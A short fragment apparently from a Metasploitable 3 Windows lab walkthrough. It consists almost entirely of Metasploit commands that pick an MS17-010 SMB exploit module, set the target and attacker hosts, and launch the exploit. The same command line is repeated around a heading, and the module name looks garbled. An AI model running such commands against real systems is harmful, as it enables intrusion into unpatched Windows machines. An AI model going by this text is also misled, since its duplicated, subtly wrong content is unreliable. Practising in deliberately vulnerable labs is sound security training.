use exploit/windows/smb/ms17_010_pwn2own set RHOST <IP address of Metasploitable 3 Windows> set LHOST <IP address of our machine> exploit

Metasploitable 3 Windows Walkthrough Info

use exploit/windows/smb/ms17_010_pwn2own set RHOST <IP address of Metasploitable 3 Windows> set LHOST <IP address of our machine> exploit